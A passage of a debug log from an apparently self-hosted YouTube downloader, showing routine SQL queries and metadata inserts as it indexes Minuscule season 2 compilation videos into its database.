S02E58\n00:14:17 | Sand Castle | S02E49\n00:17:43 | White As Snow | S02E63\n00:21:20 | Metamorphosis | S02E61\n00:24:50 | Ants On The Train | S02E52\n00:28:22 | The Monster Of The Haunted Swamp | S02E37\n00:31:52 | Patatas Fritas | S02E21\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#battle #ants #cottage #pistachios #snails #escape #gourmet #restaurant #Minuscule #nature #insects #ladybugs #animatedseries", "Away all boarders! | Minuscule 🍃 45' Compilation", "G4SP8ouB0Yk", 2177, false, 5, "https://www.youtube.com/watch?v=G4SP8ouB0Yk", "/downloads/Miniscule Season 2/2025-06-19 Away all boarders! | Minuscule 🍃 45' Compilation/Away all boarders! | Minuscule 🍃 45' Compilation [G4SP8ouB0Yk].mp4", false, ~U[2025-06-19 10:01:44Z]] 22:10:22.480 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=308.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:22.481 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=41.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:22.481 [debug] QUERY OK source="media_items" db=0.4ms idle=41.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91161] 22:10:22.482 [debug] Current batch of media processed. Will check again in 1000ms 22:10:23.483 [debug] Current batch of media processed. Will check again in 1000ms 22:10:24.484 [debug] Current batch of media processed. Will check again in 1000ms 22:10:25.485 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzz zzz | S02E44\n00:03:30 | Sunburn | S02E40\n00:06:55 | The Monster Of The Haunted Swamp | S02E37\n00:10:25 | The Mosquito Of The Caribbean | S02E57\n00:14:11 | Spider from the Depths | S02E31\n00:17:45 | Down The Chimney | S02E42\n00:21:31 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #bedroom #sleeping #challenge #Sunburn #Mosquito #Swimming #Skin #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1540, "filename" => "/downloads/Miniscule Season 2/2025-06-12 Zzz zzz | Minuscule 🍃 35' Compilation/Zzz zzz | Minuscule 🍃 35' Compilation [JOl_P-vg2kk].mp4", "id" => "JOl_P-vg2kk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JOl_P-vg2kk", "playlist_index" => 48, "timestamp" => 1749722501, "title" => "Zzz zzz | Minuscule 🍃 35' Compilation", "upload_date" => "20250612"} 22:10:25.486 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1314.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:25.487 [debug] QUERY OK source="sources" db=0.2ms idle=1315.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:25.488 [debug] QUERY OK source="media_items" db=0.9ms idle=1315.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-12 10:01:41Z], 5] 22:10:25.513 [debug] QUERY OK source="media_items" db=24.6ms idle=1317.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzz zzz | S02E44\n00:03:30 | Sunburn | S02E40\n00:06:55 | The Monster Of The Haunted Swamp | S02E37\n00:10:25 | The Mosquito Of The Caribbean | S02E57\n00:14:11 | Spider from the Depths | S02E31\n00:17:45 | Down The Chimney | S02E42\n00:21:31 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #bedroom #sleeping #challenge #Sunburn #Mosquito #Swimming #Skin #Minuscule #nature #insects #ladybugs #animatedseries", "Zzz zzz | Minuscule 🍃 35' Compilation", "73a12643-df11-47b1-a5e2-d5a55664e3b3", "JOl_P-vg2kk", 1540, false, 5, "https://www.youtube.com/watch?v=JOl_P-vg2kk", 48, "/downloads/Miniscule Season 2/2025-06-12 Zzz zzz | Minuscule 🍃 35' Compilation/Zzz zzz | Minuscule 🍃 35' Compilation [JOl_P-vg2kk].mp4", false, false, false, [], 1, ~U[2025-06-12 10:01:41Z], ~U[2025-12-12 05:10:25Z], ~U[2025-12-12 05:10:25Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzz zzz | S02E44\n00:03:30 | Sunburn | S02E40\n00:06:55 | The Monster Of The Haunted Swamp | S02E37\n00:10:25 | The Mosquito Of The Caribbean | S02E57\n00:14:11 | Spider from the Depths | S02E31\n00:17:45 | Down The Chimney | S02E42\n00:21:31 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#mosquito #bedroom #sleeping #challenge #Sunburn #Mosquito #Swimming #Skin #Minuscule #nature #insects #ladybugs #animatedseries", "Zzz zzz | Minuscule 🍃 35' Compilation", "JOl_P-vg2kk", 1540, false, 5, "https://www.youtube.com/watch?v=JOl_P-vg2kk", "/downloads/Miniscule Season 2/2025-06-12 Zzz zzz | Minuscule 🍃 35' Compilation/Zzz zzz | Minuscule 🍃 35' Compilation [JOl_P-vg2kk].mp4", false, ~U[2025-06-12 10:01:41Z]] 22:10:25.514 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=548.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:25.514 [debug] QUERY OK source="media_profiles" db=0.2ms idle=28.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:25.515 [debug] QUERY OK source="media_items" db=0.3ms idle=28.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91162] 22:10:25.515 [debug] Current batch of media processed. Will check again in 1000ms 22:10:26.516 [debug] Current batch of media processed. Will check again in 1000ms 22:10:27.517 [debug] Current batch of media processed. Will check again in 1000ms 22:10:28.518 [debug] Current batch of media processed. Will check again in 1000ms 22:10:29.519 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:03:41 | Fly Hunting | S02E24\n00:07:15 | The Grocery Store Incident | S02E39\n00:10:45 | Brushing | S02E46\n00:14:18 | Ladybugland | S02E62\n00:17:45 | Labyrinth | S02E69\n00:21:31 | Refrigerated | S02E65\n00:25:05 | Spider from the Depths | S02E31\n00:28:40 | A Pathetic She'Nut'Igan | S02E12\n00:32:25 | The Stubborn Spider | S02E04\n00:36:11 | Bzzaping | S02E03\n00:39:58 | The Hat Of The Medusa | S02E17\n00:43:43 | The Butterfly Effect | S02E23\n00:47:06 | Summer Hat | S02E48\n00:50:47 | The Grocery Store Racketeer | S02E50\n00:54:23 | High voltage | S02E30\n00:57:57 | Microzilla | S02E07\n01:01:42 | Away all boarders! | S02E41\n01:05:25 | Zzz zzz | S02E44\n01:08:55 | Trapped | S02E64\n01:12:38 | The Vegetable Garden | S02E10\n01:16:23 | Rascals! | S02E38\n01:20:02 | The Monster Of The Haunted Swamp | S02E37\n01:23:33 | At Full Speed | S02E27\n01:27:16 | The Mosquito Of The Caribbean | S02E57\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #fly #hunting #pursuit #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 5501, "filename" => "/downloads/Miniscule Season 2/2025-05-24 Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation/Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation [Hdt7fIPDP0Q].mp4", "id" => "Hdt7fIPDP0Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Hdt7fIPDP0Q", "playlist_index" => 49, "timestamp" => 1748109663, "title" => "Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation", "upload_date" => "20250524"} 22:10:29.520 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=546.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:29.521 [debug] QUERY OK source="sources" db=0.4ms idle=349.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:29.523 [debug] QUERY OK source="media_items" db=0.9ms idle=350.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 18:01:03Z], 5] 22:10:29.540 [debug] QUERY OK source="media_items" db=15.9ms idle=352.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:03:41 | Fly Hunting | S02E24\n00:07:15 | The Grocery Store Incident | S02E39\n00:10:45 | Brushing | S02E46\n00:14:18 | Ladybugland | S02E62\n00:17:45 | Labyrinth | S02E69\n00:21:31 | Refrigerated | S02E65\n00:25:05 | Spider from the Depths | S02E31\n00:28:40 | A Pathetic She'Nut'Igan | S02E12\n00:32:25 | The Stubborn Spider | S02E04\n00:36:11 | Bzzaping | S02E03\n00:39:58 | The Hat Of The Medusa | S02E17\n00:43:43 | The Butterfly Effect | S02E23\n00:47:06 | Summer Hat | S02E48\n00:50:47 | The Grocery Store Racketeer | S02E50\n00:54:23 | High voltage | S02E30\n00:57:57 | Microzilla | S02E07\n01:01:42 | Away all boarders! | S02E41\n01:05:25 | Zzz zzz | S02E44\n01:08:55 | Trapped | S02E64\n01:12:38 | The Vegetable Garden | S02E10\n01:16:23 | Rascals! | S02E38\n01:20:02 | The Monster Of The Haunted Swamp | S02E37\n01:23:33 | At Full Speed | S02E27\n01:27:16 | The Mosquito Of The Caribbean | S02E57\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #fly #hunting #pursuit #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation", "e9f827c9-63a7-4c96-818b-0269984445fc", "Hdt7fIPDP0Q", 5501, false, 5, "https://www.youtube.com/watch?v=Hdt7fIPDP0Q", 49, "/downloads/Miniscule Season 2/2025-05-24 Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation/Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation [Hdt7fIPDP0Q].mp4", false, false, false, [], 1, ~U[2025-05-24 18:01:03Z], ~U[2025-12-12 05:10:29Z], ~U[2025-12-12 05:10:29Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:03:41 | Fly Hunting | S02E24\n00:07:15 | The Grocery Store Incident | S02E39\n00:10:45 | Brushing | S02E46\n00:14:18 | Ladybugland | S02E62\n00:17:45 | Labyrinth | S02E69\n00:21:31 | Refrigerated | S02E65\n00:25:05 | Spider from the Depths | S02E31\n00:28:40 | A Pathetic She'Nut'Igan | S02E12\n00:32:25 | The Stubborn Spider | S02E04\n00:36:11 | Bzzaping | S02E03\n00:39:58 | The Hat Of The Medusa | S02E17\n00:43:43 | The Butterfly Effect | S02E23\n00:47:06 | Summer Hat | S02E48\n00:50:47 | The Grocery Store Racketeer | S02E50\n00:54:23 | High voltage | S02E30\n00:57:57 | Microzilla | S02E07\n01:01:42 | Away all boarders! | S02E41\n01:05:25 | Zzz zzz | S02E44\n01:08:55 | Trapped | S02E64\n01:12:38 | The Vegetable Garden | S02E10\n01:16:23 | Rascals! | S02E38\n01:20:02 | The Monster Of The Haunted Swamp | S02E37\n01:23:33 | At Full Speed | S02E27\n01:27:16 | The Mosquito Of The Caribbean | S02E57\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #fly #hunting #pursuit #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation", "Hdt7fIPDP0Q", 5501, false, 5, "https://www.youtube.com/watch?v=Hdt7fIPDP0Q", "/downloads/Miniscule Season 2/2025-05-24 Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation/Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation [Hdt7fIPDP0Q].mp4", false, ~U[2025-05-24 18:01:03Z]] 22:10:29.540 [debug] QUERY OK source="sources" db=0.4ms idle=369.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:29.541 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=20.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:29.542 [debug] QUERY OK source="media_items" db=0.6ms idle=20.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91165] 22:10:29.543 [debug] Current batch of media processed. Will check again in 1000ms 22:10:30.544 [debug] Current batch of media processed. Will check again in 1000ms 22:10:31.545 [debug] Current batch of media processed. Will check again in 1000ms 22:10:32.546 [debug] Current batch of media processed. Will check again in 1000ms 22:10:33.547 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Dream Of Speed | S03E24\n00:01:29 | A Candlelight Christmas | S03E20\n00:02:58 | Telecanetic | S03E19\n00:04:27 | Glue | S03E06\n00:06:04 | Like A Cannon Ball | S03E03\n00:07:33 | Webrizon | S03E02\n00:09:02 | At Full Speed | S03E22\n00:10:23 | Blunder | S03E26\n00:12:04 | Fly Swatter | S03E13\n00:13:33 | Broom's Sweep | S03E21\n00:15:02 | Ant On The Rocks | S03E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dream #speed #snail #awakening #candlelight #Christmas #mosquito #sting #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1012, "filename" => "/downloads/Miniscule Season 2/2025-06-03 A Dream Of Speed | Minuscule 🍃 20' Compilation/A Dream Of Speed | Minuscule 🍃 20' Compilation [DvJa--G8oTo].mp4", "id" => "DvJa--G8oTo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DvJa--G8oTo", "playlist_index" => 50, "timestamp" => 1748930448, "title" => "A Dream Of Speed | Minuscule 🍃 20' Compilation", "upload_date" => "20250603"} 22:10:33.548 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=566.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:33.549 [debug] QUERY OK source="sources" db=0.5ms idle=377.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:33.551 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=378.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-03 06:00:48Z], 5] 22:10:33.554 [debug] QUERY OK source="media_items" db=2.4ms idle=380.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) 